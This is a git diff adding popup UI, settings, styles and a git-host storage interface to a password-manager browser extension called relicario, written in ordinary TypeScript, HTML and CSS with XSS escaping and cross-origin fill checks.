setState({ entries: data.items, loading: false });
|
||||
return;
|
||||
}
|
||||
setState({ loading: false, error: listResp.error });
|
||||
} else {
|
||||
setState({ loading: false, error: resp.error });
|
||||
}
|
||||
});
|
||||
|
||||
document.getElementById('lock-btn')?.addEventListener('click', async () => {
|
||||
await sendMessage({ type: 'lock' });
|
||||
navigate('locked');
|
||||
});
|
||||
|
||||
document.getElementById('settings-btn')?.addEventListener('click', () => navigate('settings'));
|
||||
|
||||
// Item row clicks.
|
||||
const rows = app.querySelectorAll('.entry-row');
|
||||
rows.forEach(row => {
|
||||
row.addEventListener('click', async () => {
|
||||
const id = (row as HTMLElement).dataset.id!;
|
||||
document.removeEventListener('keydown', handleListKeydown);
|
||||
await openItem(id);
|
||||
});
|
||||
});
|
||||
|
||||
// Keyboard navigation.
|
||||
document.addEventListener('keydown', handleListKeydown);
|
||||
|
||||
// Focus search on open.
|
||||
searchInput?.focus();
|
||||
}
|
||||
|
||||
async function openItem(id: ItemId): Promise<void> {
|
||||
setState({ loading: true });
|
||||
const resp = await sendMessage({ type: 'get_item', id });
|
||||
if (resp.ok) {
|
||||
const data = resp.data as { item: Item };
|
||||
navigate('detail', {
|
||||
selectedId: id,
|
||||
selectedItem: data.item,
|
||||
});
|
||||
} else {
|
||||
setState({ loading: false, error: resp.error });
|
||||
}
|
||||
}
|
||||
|
||||
/// Compute the visible (filtered) entry list from current state.
|
||||
function getFilteredEntries(): Array<[ItemId, ManifestEntry]> {
|
||||
const state = getState();
|
||||
// Hide trashed items from the main list.
|
||||
let filtered = state.entries.filter(([, e]) => e.trashed_at === undefined || e.trashed_at === null);
|
||||
if (state.searchQuery) {
|
||||
const q = state.searchQuery.toLowerCase();
|
||||
filtered = filtered.filter(([, e]) => {
|
||||
if (e.title.toLowerCase().includes(q)) return true;
|
||||
if (e.icon_hint?.toLowerCase().includes(q)) return true;
|
||||
if (e.group?.toLowerCase().includes(q)) return true;
|
||||
if (e.tags.some((t) => t.toLowerCase().includes(q))) return true;
|
||||
return false;
|
||||
});
|
||||
}
|
||||
filtered.sort((a, b) => a[1].title.localeCompare(b[1].title));
|
||||
return filtered;
|
||||
}
|
||||
|
||||
/// True if the event target is an editable field (input/textarea/contenteditable).
|
||||
/// Global shortcut handlers should bail when the user is typing into a field —
|
||||
/// otherwise printable characters like "/" and "+" get eaten by the shortcut
|
||||
/// routing and never reach the input.
|
||||
function isEditableTarget(target: EventTarget | null): boolean {
|
||||
if (!(target instanceof HTMLElement)) return false;
|
||||
const tag = target.tagName;
|
||||
if (tag === 'INPUT' || tag === 'TEXTAREA' || tag === 'SELECT') return true;
|
||||
if (target.isContentEditable) return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
function handleListKeydown(e: KeyboardEvent): void {
|
||||
const state = getState();
|
||||
const target = e.target as HTMLElement;
|
||||
const isSearch = target.id === 'search-input';
|
||||
|
||||
// If the user is typing into any input/textarea (other than the list's own
|
||||
// search field, which we want to focus on "/" even from outside it), let the
|
||||
// keystroke through. The "/" shortcut below is specifically "jump to search
|
||||
// from the list," not "steal printable characters while typing."
|
||||
if (isEditableTarget(target) && !isSearch) {
|
||||
if (e.key === 'Escape') {
|
||||
document.removeEventListener('keydown', handleListKeydown);
|
||||
window.close();
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (e.key === '/' && !isSearch) {
|
||||
e.preventDefault();
|
||||
(document.getElementById('search-input') as HTMLInputElement | null)?.focus();
|
||||
return;
|
||||
}
|
||||
|
||||
if (e.key === '+' && !isSearch) {
|
||||
e.preventDefault();
|
||||
document.removeEventListener('keydown', handleListKeydown);
|
||||
navigate('add');
|
||||
return;
|
||||
}
|
||||
|
||||
const filtered = getFilteredEntries();
|
||||
|
||||
if (e.key === 'ArrowDown') {
|
||||
e.preventDefault();
|
||||
const max = Math.max(filtered.length - 1, 0);
|
||||
setState({ selectedIndex: Math.min(state.selectedIndex + 1, max) });
|
||||
return;
|
||||
}
|
||||
|
||||
if (e.key === 'ArrowUp') {
|
||||
e.preventDefault();
|
||||
setState({ selectedIndex: Math.max(state.selectedIndex - 1, 0) });
|
||||
return;
|
||||
}
|
||||
|
||||
if (e.key === 'Enter' && !isSearch) {
|
||||
e.preventDefault();
|
||||
const selected = filtered[state.selectedIndex];
|
||||
if (selected) {
|
||||
document.removeEventListener('keydown', handleListKeydown);
|
||||
void openItem(selected[0]);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (e.key === 'Escape') {
|
||||
document.removeEventListener('keydown', handleListKeydown);
|
||||
window.close();
|
||||
return;
|
||||
}
|
||||
}
|
||||
98
extension/src/popup/components/settings.ts
Normal file
98
extension/src/popup/components/settings.ts
Normal file
@@ -0,0 +1,98 @@
|
||||
/// Settings view — capture toggle, prompt style, and blacklist management.
|
||||
|
||||
import { sendMessage, navigate, escapeHtml } from '../popup';
|
||||
import type { DeviceSettings } from '../../shared/types';
|
||||
|
||||
export async function renderSettings(app: HTMLElement): Promise<void> {
|
||||
app.innerHTML = '<div class="pad" style="text-align:center; padding-top:20px;"><span class="spinner"></span></div>';
|
||||
|
||||
// Load settings and blacklist in parallel
|
||||
const [settingsResp, blacklistResp] = await Promise.all([
|
||||
sendMessage({ type: 'get_settings' }),
|
||||
sendMessage({ type: 'get_blacklist' }),
|
||||
]);
|
||||
|
||||
const settings: DeviceSettings = settingsResp.ok
|
||||
? (settingsResp.data as { settings: DeviceSettings }).settings
|
||||
: { captureEnabled: false, captureStyle: 'bar' };
|
||||
|
||||
const blacklist: string[] = blacklistResp.ok
|
||||
? (blacklistResp.data as { blacklist: string[] }).blacklist
|
||||
: [];
|
||||
|
||||
const blacklistHtml = blacklist.length > 0
|
||||
? blacklist.map((h) => `
|
||||
<div style="display:flex; align-items:center; justify-content:space-between; padding:4px 0; border-bottom:1px solid #21262d;">
|
||||
<span style="font-size:12px; overflow:hidden; text-overflow:ellipsis;">${escapeHtml(h)}</span>
|
||||
<button class="relicario-remove-bl" data-hostname="${escapeHtml(h)}" style="
|
||||
background:transparent; color:#f85149; border:none; cursor:pointer;
|
||||
font-size:11px; padding:2px 6px;
|
||||
">remove</button>
|
||||
</div>
|
||||
`).join('')
|
||||
: '<p class="muted" style="font-size:12px;">no blacklisted sites</p>';
|
||||
|
||||
app.innerHTML = `
|
||||
<div class="pad" style="padding-top:12px;">
|
||||
<div style="display:flex; align-items:center; margin-bottom:16px;">
|
||||
<button id="settings-back" class="btn" style="font-size:11px; margin-right:8px;">←</button>
|
||||
<span style="font-size:14px; font-weight:600;">settings</span>
|
||||
</div>
|
||||
|
||||
<div style="margin-bottom:16px;">
|
||||
<label style="display:flex; align-items:center; gap:8px; cursor:pointer; font-size:13px;">
|
||||
<input type="checkbox" id="capture-enabled" ${settings.captureEnabled ? 'checked' : ''}>
|
||||
auto-detect logins
|
||||
</label>
|
||||
</div>
|
||||
|
||||
<div style="margin-bottom:16px;">
|
||||
<div style="font-size:12px; color:#8b949e; margin-bottom:6px;">prompt style</div>
|
||||
<div style="display:flex; gap:8px;">
|
||||
<button id="style-bar" class="btn" style="font-size:11px; ${settings.captureStyle === 'bar' ? 'background:#1f6feb; color:#fff;' : ''}">bar</button>
|
||||
<button id="style-toast" class="btn" style="font-size:11px; ${settings.captureStyle === 'toast' ? 'background:#1f6feb; color:#fff;' : ''}">toast</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div>
|
||||
<div style="font-size:12px; color:#8b949e; margin-bottom:6px;">blacklisted sites</div>
|
||||
<div id="blacklist-container">
|
||||
${blacklistHtml}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
`;
|
||||
|
||||
// Back button
|
||||
document.getElementById('settings-back')?.addEventListener('click', () => {
|
||||
navigate('locked');
|
||||
});
|
||||
|
||||
// Capture enabled toggle
|
||||
document.getElementById('capture-enabled')?.addEventListener('change', async (e) => {
|
||||
const checked = (e.target as HTMLInputElement).checked;
|
||||
await sendMessage({ type: 'update_settings', settings: { captureEnabled: checked } });
|
||||
});
|
||||
|
||||
// Style buttons
|
||||
document.getElementById('style-bar')?.addEventListener('click', async () => {
|
||||
await sendMessage({ type: 'update_settings', settings: { captureStyle: 'bar' } });
|
||||
renderSettings(app);
|
||||
});
|
||||
|
||||
document.getElementById('style-toast')?.addEventListener('click', async () => {
|
||||
await sendMessage({ type: 'update_settings', settings: { captureStyle: 'toast' } });
|
||||
renderSettings(app);
|
||||
});
|
||||
|
||||
// Blacklist remove buttons
|
||||
document.querySelectorAll('.relicario-remove-bl').forEach((btn) => {
|
||||
btn.addEventListener('click', async () => {
|
||||
const hostname = (btn as HTMLElement).dataset.hostname;
|
||||
if (hostname) {
|
||||
await sendMessage({ type: 'remove_blacklist', hostname });
|
||||
renderSettings(app);
|
||||
}
|
||||
});
|
||||
});
|
||||
}
|
||||
57
extension/src/popup/components/unlock.ts
Normal file
57
extension/src/popup/components/unlock.ts
Normal file
@@ -0,0 +1,57 @@
|
||||
/// Unlock view — passphrase input with ENTER to submit.
|
||||
|
||||
import { getState, setState, sendMessage, navigate, escapeHtml } from '../popup';
|
||||
import type { ItemId, ManifestEntry } from '../../shared/types';
|
||||
|
||||
export function renderUnlock(app: HTMLElement): void {
|
||||
const state = getState();
|
||||
|
||||
app.innerHTML = `
|
||||
<div class="pad" style="text-align:center; padding-top:40px;">
|
||||
<img class="brand-logo" src="icons/relicario-logo.svg" alt="">
|
||||
<div class="brand">relicario</div>
|
||||
<p class="muted" style="margin:8px 0 24px;">two-factor vault</p>
|
||||
<div class="form-group">
|
||||
<input
|
||||
type="password"
|
||||
id="passphrase-input"
|
||||
placeholder="passphrase"
|
||||
autocomplete="off"
|
||||
${state.loading ? 'disabled' : ''}
|
||||
>
|
||||
</div>
|
||||
${state.loading ? '<div style="margin:12px 0;"><span class="spinner"></span></div>' : ''}
|
||||
${state.error ? `<div class="error">${escapeHtml(state.error)}</div>` : ''}
|
||||
<div style="margin-top:24px;">
|
||||
<button class="btn" id="settings-btn" style="font-size:11px;">settings</button>
|
||||
</div>
|
||||
</div>
|
||||
`;
|
||||
|
||||
const input = document.getElementById('passphrase-input') as HTMLInputElement;
|
||||
if (input && !state.loading) {
|
||||
input.focus();
|
||||
input.addEventListener('keydown', async (e) => {
|
||||
if (e.key === 'Enter') {
|
||||
const passphrase = input.value;
|
||||
if (!passphrase) return;
|
||||
setState({ loading: true, error: null });
|
||||
const resp = await sendMessage({ type: 'unlock', passphrase });
|
||||
if (resp.ok) {
|
||||
const listResp = await sendMessage({ type: 'list_items' });
|
||||
if (listResp.ok) {
|
||||
const data = listResp.data as { items: Array<[ItemId, ManifestEntry]> };
|
||||
navigate('list', { entries: data.items });
|
||||
} else {
|
||||
setState({ loading: false, error: listResp.error });
|
||||
}
|
||||
} else {
|
||||
setState({ loading: false, error: resp.error });
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
const settingsBtn = document.getElementById('settings-btn');
|
||||
settingsBtn?.addEventListener('click', () => navigate('settings'));
|
||||
}
|
||||
13
extension/src/popup/index.html
Normal file
13
extension/src/popup/index.html
Normal file
@@ -0,0 +1,13 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=360">
|
||||
<link rel="stylesheet" href="styles.css">
|
||||
<title>relicario</title>
|
||||
</head>
|
||||
<body>
|
||||
<div id="app"></div>
|
||||
<script src="popup.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
182
extension/src/popup/popup.ts
Normal file
182
extension/src/popup/popup.ts
Normal file
@@ -0,0 +1,182 @@
|
||||
/// Popup entry point — state machine with view routing.
|
||||
///
|
||||
/// Views: setup | locked | list | detail | add | edit
|
||||
/// Navigation works by updating `currentState` and calling `render()`.
|
||||
|
||||
import type { Request, Response } from '../shared/messages';
|
||||
import type { ItemId, ManifestEntry, Item } from '../shared/types';
|
||||
import { renderUnlock } from './components/unlock';
|
||||
import { renderItemList } from './components/item-list';
|
||||
import { renderItemDetail } from './components/item-detail';
|
||||
import { renderItemForm } from './components/item-form';
|
||||
import { renderSettings } from './components/settings';
|
||||
|
||||
// --- Escape HTML to prevent XSS ---
|
||||
export function escapeHtml(str: string): string {
|
||||
const div = document.createElement('div');
|
||||
div.textContent = str;
|
||||
return div.innerHTML;
|
||||
}
|
||||
|
||||
// --- State ---
|
||||
|
||||
export type View = 'locked' | 'list' | 'detail' | 'add' | 'edit' | 'settings';
|
||||
|
||||
export interface PopupState {
|
||||
view: View;
|
||||
entries: Array<[ItemId, ManifestEntry]>;
|
||||
selectedId: ItemId | null;
|
||||
selectedItem: Item | null;
|
||||
selectedIndex: number;
|
||||
searchQuery: string;
|
||||
activeGroup: string | null;
|
||||
error: string | null;
|
||||
loading: boolean;
|
||||
// Captured tab snapshot taken at popup-open. Used by fill_credentials
|
||||
// to guard against TOCTOU navigation — the SW re-checks this URL's
|
||||
// hostname against the tab's live URL before forwarding fill_credentials
|
||||
// to the content script. See router/popup-only.ts#handleFillCredentials.
|
||||
capturedTabId: number | null;
|
||||
capturedUrl: string;
|
||||
}
|
||||
|
||||
let currentState: PopupState = {
|
||||
view: 'locked',
|
||||
entries: [],
|
||||
selectedId: null,
|
||||
selectedItem: null,
|
||||
selectedIndex: 0,
|
||||
searchQuery: '',
|
||||
activeGroup: null,
|
||||
error: null,
|
||||
loading: false,
|
||||
capturedTabId: null,
|
||||
capturedUrl: '',
|
||||
};
|
||||
|
||||
export function getState(): PopupState {
|
||||
return currentState;
|
||||
}
|
||||
|
||||
export function setState(partial: Partial<PopupState>): void {
|
||||
currentState = { ...currentState, ...partial };
|
||||
render();
|
||||
}
|
||||
|
||||
// --- Messaging ---
|
||||
|
||||
export function sendMessage(request: Request): Promise<Response> {
|
||||
return new Promise((resolve) => {
|
||||
chrome.runtime.sendMessage(request, (response: Response) => {
|
||||
if (response && !response.ok && response.error) {
|
||||
// Replace cryptic low-level errors with user-readable messages.
|
||||
response = { ok: false, error: humanizeError(response.error) };
|
||||
}
|
||||
resolve(response);
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
/// Translate cryptic Rust/serde/WASM error strings into messages a user
|
||||
/// can act on. Unknown errors pass through unchanged.
|
||||
export function humanizeError(err: string): string {
|
||||
// URL parse failures (Rust `url::Url::parse`) bubble up through serde
|
||||
// as `item json: ...`. Match the core phrasing.
|
||||
if (/relative URL without a base/i.test(err)) {
|
||||
return 'URL must start with https:// or http:// (e.g. https://example.com)';
|
||||
}
|
||||
if (/item json:/i.test(err)) {
|
||||
return 'Could not save item — one of the fields is in an invalid format.';
|
||||
}
|
||||
if (/settings json:/i.test(err)) {
|
||||
return 'Settings are in an invalid format — try reloading the extension.';
|
||||
}
|
||||
if (/vault_locked/i.test(err)) {
|
||||
return 'Vault is locked. Unlock and try again.';
|
||||
}
|
||||
if (/origin_mismatch/i.test(err)) {
|
||||
return 'This login belongs to a different site — refusing to leak credentials cross-origin.';
|
||||
}
|
||||
if (/unauthorized_sender/i.test(err)) {
|
||||
return 'This action is not allowed from here.';
|
||||
}
|
||||
if (/tab_navigated|captured_tab_gone/i.test(err)) {
|
||||
return 'The browser tab changed before the fill could complete — try again.';
|
||||
}
|
||||
return err;
|
||||
}
|
||||
|
||||
// --- Navigation ---
|
||||
|
||||
export function navigate(view: View, extras?: Partial<PopupState>): void {
|
||||
setState({ view, error: null, loading: false, ...extras });
|
||||
}
|
||||
|
||||
// --- Render ---
|
||||
|
||||
function render(): void {
|
||||
const app = document.getElementById('app');
|
||||
if (!app) return;
|
||||
|
||||
switch (currentState.view) {
|
||||
case 'locked':
|
||||
renderUnlock(app);
|
||||
break;
|
||||
case 'list':
|
||||
renderItemList(app);
|
||||
break;
|
||||
case 'detail':
|
||||
renderItemDetail(app);
|
||||
break;
|
||||
case 'add':
|
||||
renderItemForm(app, 'add');
|
||||
break;
|
||||
case 'edit':
|
||||
renderItemForm(app, 'edit');
|
||||
break;
|
||||
case 'settings':
|
||||
renderSettings(app);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// --- Init ---
|
||||
|
||||
async function init(): Promise<void> {
|
||||
// Snapshot the active tab at popup-open — the fill path uses this
|
||||
// tabId/url pair so the SW can verify the tab hasn't navigated before
|
||||
// forwarding credentials (audit M5 + TOCTOU close via expectedHost).
|
||||
const [tab] = await chrome.tabs.query({ active: true, currentWindow: true });
|
||||
currentState.capturedTabId = tab?.id ?? null;
|
||||
currentState.capturedUrl = tab?.url ?? '';
|
||||
|
||||
// Check if extension is configured.
|
||||
const setupResp = await sendMessage({ type: 'get_setup_state' });
|
||||
if (setupResp.ok) {
|
||||
const data = setupResp.data as { isConfigured: boolean };
|
||||
if (!data.isConfigured) {
|
||||
await chrome.tabs.create({ url: chrome.runtime.getURL('setup.html') });
|
||||
window.close();
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// Check if vault is unlocked.
|
||||
const unlockResp = await sendMessage({ type: 'is_unlocked' });
|
||||
if (unlockResp.ok) {
|
||||
const data = unlockResp.data as { unlocked: boolean };
|
||||
if (data.unlocked) {
|
||||
// Load entries and go to list.
|
||||
const listResp = await sendMessage({ type: 'list_items' });
|
||||
if (listResp.ok) {
|
||||
const listData = listResp.data as { items: Array<[ItemId, ManifestEntry]> };
|
||||
navigate('list', { entries: listData.items });
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
navigate('locked');
|
||||
}
|
||||
|
||||
document.addEventListener('DOMContentLoaded', init);
|
||||
461
extension/src/popup/styles.css
Normal file
461
extension/src/popup/styles.css
Normal file
@@ -0,0 +1,461 @@
|
||||
/* relicario extension — terminal dark theme */
|
||||
|
||||
* {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
body {
|
||||
width: 360px;
|
||||
max-height: 500px;
|
||||
overflow-y: auto;
|
||||
background: #0d1117;
|
||||
color: #c9d1d9;
|
||||
font-family: 'JetBrains Mono', 'Cascadia Code', 'Fira Code', 'SF Mono', Menlo, monospace;
|
||||
font-size: 13px;
|
||||
line-height: 1.5;
|
||||
}
|
||||
|
||||
/* Scrollbar */
|
||||
::-webkit-scrollbar {
|
||||
width: 4px;
|
||||
}
|
||||
|
||||
::-webkit-scrollbar-track {
|
||||
background: transparent;
|
||||
}
|
||||
|
||||
::-webkit-scrollbar-thumb {
|
||||
background: #30363d;
|
||||
border-radius: 2px;
|
||||
}
|
||||
|
||||
/* Typography */
|
||||
.brand {
|
||||
font-size: 16px;
|
||||
font-weight: 700;
|
||||
color: #58a6ff;
|
||||
letter-spacing: 1px;
|
||||
}
|
||||
|
||||
.brand-logo {
|
||||
display: block;
|
||||
width: 48px;
|
||||
height: 48px;
|
||||
margin: 0 auto 8px;
|
||||
}
|
||||
|
||||
.label {
|
||||
font-size: 11px;
|
||||
font-weight: 600;
|
||||
color: #8b949e;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 0.5px;
|
||||
margin-bottom: 4px;
|
||||
}
|
||||
|
||||
.secondary {
|
||||
color: #8b949e;
|
||||
}
|
||||
|
||||
.muted {
|
||||
color: #484f58;
|
||||
font-size: 11px;
|
||||
}
|
||||
|
||||
.error {
|
||||
color: #f85149;
|
||||
font-size: 12px;
|
||||
margin-top: 8px;
|
||||
}
|
||||
|
||||
/* Buttons */
|
||||
.btn {
|
||||
display: inline-block;
|
||||
padding: 6px 14px;
|
||||
font-family: inherit;
|
||||
font-size: 12px;
|
||||
border: 1px solid #30363d;
|
||||
border-radius: 4px;
|
||||
background: #21262d;
|
||||
color: #c9d1d9;
|
||||
cursor: pointer;
|
||||
transition: background 0.15s;
|
||||
}
|
||||
|
||||
.btn:hover {
|
||||
background: #30363d;
|
||||
}
|
||||
|
||||
.btn:focus {
|
||||
outline: 1px solid #58a6ff;
|
||||
outline-offset: 1px;
|
||||
}
|
||||
|
||||
.btn-primary {
|
||||
background: #1f6feb;
|
||||
border-color: #1f6feb;
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
.btn-primary:hover {
|
||||
background: #388bfd;
|
||||
}
|
||||
|
||||
.btn-danger {
|
||||
background: #da3633;
|
||||
border-color: #da3633;
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
.btn-danger:hover {
|
||||
background: #f85149;
|
||||
}
|
||||
|
||||
/* Inputs */
|
||||
input, textarea, select {
|
||||
width: 100%;
|
||||
padding: 8px 10px;
|
||||
font-family: inherit;
|
||||
font-size: 13px;
|
||||
background: #161b22;
|
||||
border: 1px solid #30363d;
|
||||
border-radius: 4px;
|
||||
color: #c9d1d9;
|
||||
outline: none;
|
||||
transition: border-color 0.15s;
|
||||
}
|
||||
|
||||
input:focus, textarea:focus, select:focus {
|
||||
border-color: #58a6ff;
|
||||
}
|
||||
|
||||
input::placeholder, textarea::placeholder {
|
||||
color: #484f58;
|
||||
}
|
||||
|
||||
textarea {
|
||||
resize: vertical;
|
||||
min-height: 60px;
|
||||
}
|
||||
|
||||
/* Layout */
|
||||
.pad {
|
||||
padding: 16px;
|
||||
}
|
||||
|
||||
/* Search bar */
|
||||
.search-bar {
|
||||
position: sticky;
|
||||
top: 0;
|
||||
z-index: 10;
|
||||
padding: 8px 12px;
|
||||
background: #0d1117;
|
||||
border-bottom: 1px solid #21262d;
|
||||
}
|
||||
|
||||
.search-bar input {
|
||||
padding: 6px 10px;
|
||||
font-size: 12px;
|
||||
}
|
||||
|
||||
/* Group tabs */
|
||||
.group-tabs {
|
||||
display: flex;
|
||||
gap: 2px;
|
||||
padding: 6px 12px;
|
||||
background: #0d1117;
|
||||
border-bottom: 1px solid #21262d;
|
||||
overflow-x: auto;
|
||||
}
|
||||
|
||||
.group-tab {
|
||||
padding: 4px 10px;
|
||||
font-size: 11px;
|
||||
border: none;
|
||||
border-radius: 3px;
|
||||
background: transparent;
|
||||
color: #8b949e;
|
||||
cursor: pointer;
|
||||
white-space: nowrap;
|
||||
font-family: inherit;
|
||||
}
|
||||
|
||||
.group-tab:hover {
|
||||
color: #c9d1d9;
|
||||
background: #161b22;
|
||||
}
|
||||
|
||||
.group-tab.active {
|
||||
color: #58a6ff;
|
||||
background: #161b22;
|
||||
}
|
||||
|
||||
/* Entry list */
|
||||
.entry-list {
|
||||
max-height: 360px;
|
||||
overflow-y: auto;
|
||||
}
|
||||
|
||||
.entry-row {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
padding: 8px 12px;
|
||||
border-bottom: 1px solid #21262d;
|
||||
border-left: 3px solid transparent;
|
||||
cursor: pointer;
|
||||
transition: background 0.1s;
|
||||
}
|
||||
|
||||
.entry-row:hover {
|
||||
background: #161b22;
|
||||
}
|
||||
|
||||
.entry-row.selected {
|
||||
background: #161b22;
|
||||
border-left-color: #58a6ff;
|
||||
}
|
||||
|
||||
.entry-row .entry-name {
|
||||
font-size: 13px;
|
||||
font-weight: 500;
|
||||
color: #c9d1d9;
|
||||
}
|
||||
|
||||
.entry-row .entry-meta {
|
||||
font-size: 11px;
|
||||
color: #8b949e;
|
||||
margin-top: 2px;
|
||||
}
|
||||
|
||||
/* Detail view */
|
||||
.detail-header {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
padding: 12px;
|
||||
border-bottom: 1px solid #21262d;
|
||||
}
|
||||
|
||||
.detail-title {
|
||||
font-size: 15px;
|
||||
font-weight: 600;
|
||||
color: #c9d1d9;
|
||||
}
|
||||
|
||||
.field {
|
||||
padding: 10px 12px;
|
||||
border-bottom: 1px solid #21262d;
|
||||
}
|
||||
|
||||
.field-value {
|
||||
font-size: 13px;
|
||||
color: #c9d1d9;
|
||||
word-break: break-all;
|
||||
user-select: all;
|
||||
}
|
||||
|
||||
/* TOTP */
|
||||
.totp-code {
|
||||
font-size: 22px;
|
||||
font-weight: 700;
|
||||
color: #3fb950;
|
||||
letter-spacing: 4px;
|
||||
}
|
||||
|
||||
.totp-bar {
|
||||
height: 3px;
|
||||
background: #21262d;
|
||||
border-radius: 2px;
|
||||
margin-top: 6px;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.totp-bar-fill {
|
||||
height: 100%;
|
||||
background: #3fb950;
|
||||
border-radius: 2px;
|
||||
transition: width 1s linear;
|
||||
}
|
||||
|
||||
/* Keyboard hints */
|
||||
.keyhints {
|
||||
display: flex;
|
||||
gap: 8px;
|
||||
flex-wrap: wrap;
|
||||
padding: 8px 12px;
|
||||
border-top: 1px solid #21262d;
|
||||
background: #0d1117;
|
||||
}
|
||||
|
||||
.keyhints span {
|
||||
font-size: 10px;
|
||||
color: #484f58;
|
||||
}
|
||||
|
||||
.keyhints kbd {
|
||||
display: inline-block;
|
||||
padding: 1px 4px;
|
||||
font-family: inherit;
|
||||
font-size: 10px;
|
||||
background: #21262d;
|
||||
border: 1px solid #30363d;
|
||||
border-radius: 3px;
|
||||
color: #8b949e;
|
||||
}
|
||||
|
||||
/* Wizard */
|
||||
.wizard-step {
|
||||
padding: 16px;
|
||||
}
|
||||
|
||||
.wizard-step h3 {
|
||||
font-size: 14px;
|
||||
font-weight: 600;
|
||||
margin-bottom: 12px;
|
||||
color: #c9d1d9;
|
||||
}
|
||||
|
||||
.progress-bar {
|
||||
display: flex;
|
||||
gap: 4px;
|
||||
padding: 12px 16px 0;
|
||||
}
|
||||
|
||||
.progress-bar .step {
|
||||
flex: 1;
|
||||
height: 3px;
|
||||
background: #21262d;
|
||||
border-radius: 2px;
|
||||
}
|
||||
|
||||
.progress-bar .step.done {
|
||||
background: #58a6ff;
|
||||
}
|
||||
|
||||
.progress-bar .step.current {
|
||||
background: #388bfd;
|
||||
}
|
||||
|
||||
/* Spinner */
|
||||
.spinner {
|
||||
display: inline-block;
|
||||
width: 16px;
|
||||
height: 16px;
|
||||
border: 2px solid #30363d;
|
||||
border-top-color: #58a6ff;
|
||||
border-radius: 50%;
|
||||
animation: spin 0.6s linear infinite;
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
to { transform: rotate(360deg); }
|
||||
}
|
||||
|
||||
/* Confirm overlay */
|
||||
.confirm-overlay {
|
||||
position: fixed;
|
||||
inset: 0;
|
||||
background: rgba(0, 0, 0, 0.7);
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
z-index: 100;
|
||||
}
|
||||
|
||||
.confirm-box {
|
||||
background: #161b22;
|
||||
border: 1px solid #30363d;
|
||||
border-radius: 6px;
|
||||
padding: 20px;
|
||||
max-width: 280px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.confirm-box p {
|
||||
margin-bottom: 16px;
|
||||
font-size: 13px;
|
||||
}
|
||||
|
||||
.confirm-box .btn + .btn {
|
||||
margin-left: 8px;
|
||||
}
|
||||
|
||||
/* Empty state */
|
||||
.empty {
|
||||
text-align: center;
|
||||
padding: 40px 16px;
|
||||
color: #484f58;
|
||||
font-size: 13px;
|
||||
}
|
||||
|
||||
/* Form layout */
|
||||
.form-group {
|
||||
margin-bottom: 12px;
|
||||
}
|
||||
|
||||
.form-group .label {
|
||||
display: block;
|
||||
margin-bottom: 4px;
|
||||
}
|
||||
|
||||
.form-actions {
|
||||
display: flex;
|
||||
gap: 8px;
|
||||
margin-top: 16px;
|
||||
}
|
||||
|
||||
.inline-row {
|
||||
display: flex;
|
||||
gap: 8px;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.inline-row input {
|
||||
flex: 1;
|
||||
}
|
||||
|
||||
/* Toggle (for host type) */
|
||||
.toggle-group {
|
||||
display: flex;
|
||||
gap: 0;
|
||||
border: 1px solid #30363d;
|
||||
border-radius: 4px;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.toggle-group button {
|
||||
flex: 1;
|
||||
padding: 6px 12px;
|
||||
font-family: inherit;
|
||||
font-size: 12px;
|
||||
border: none;
|
||||
background: #21262d;
|
||||
color: #8b949e;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.toggle-group button.active {
|
||||
background: #1f6feb;
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
/* File upload area */
|
||||
.file-drop {
|
||||
border: 2px dashed #30363d;
|
||||
border-radius: 6px;
|
||||
padding: 24px;
|
||||
text-align: center;
|
||||
cursor: pointer;
|
||||
transition: border-color 0.15s;
|
||||
}
|
||||
|
||||
.file-drop:hover {
|
||||
border-color: #58a6ff;
|
||||
}
|
||||
|
||||
.file-drop.has-file {
|
||||
border-color: #3fb950;
|
||||
border-style: solid;
|
||||
}
|
||||
54
extension/src/service-worker/git-host.ts
Normal file
54
extension/src/service-worker/git-host.ts
Normal file
@@ -0,0 +1,54 @@
|
||||
/// Abstract interface for reading/writing vault files on a git host.
|
||||
///
|
||||
/// Both Gitea and GitHub expose a "repo contents" REST API that lets us
|
||||
/// read, write, and delete individual files without cloning the repo.
|
||||
/// This interface captures just the operations the vault needs.
|
||||
|
||||
export interface GitHost {
|
||||
/// Read a single file from the repo, returning its raw bytes.
|
||||
readFile(path: string): Promise<Uint8Array>;
|
||||
|
||||
/// Create or update a file in the repo with a commit message.
|
||||
writeFile(path: string, content: Uint8Array, message: string): Promise<void>;
|
||||
|
||||
/// Delete a file from the repo with a commit message.
|
||||
deleteFile(path: string, message: string): Promise<void>;
|
||||
|
||||
/// List file names in a directory (non-recursive).
|
||||
listDir(path: string): Promise<string[]>;
|
||||
}
|
||||
|
||||
/// Convert a Uint8Array to a base64 string (works in service worker context).
|
||||
export function uint8ArrayToBase64(bytes: Uint8Array): string {
|
||||
let binary = '';
|
||||
for (let i = 0; i < bytes.length; i++) {
|
||||
binary += String.fromCharCode(bytes[i]);
|
||||
}
|
||||
return btoa(binary);
|
||||
}
|
||||
|
||||
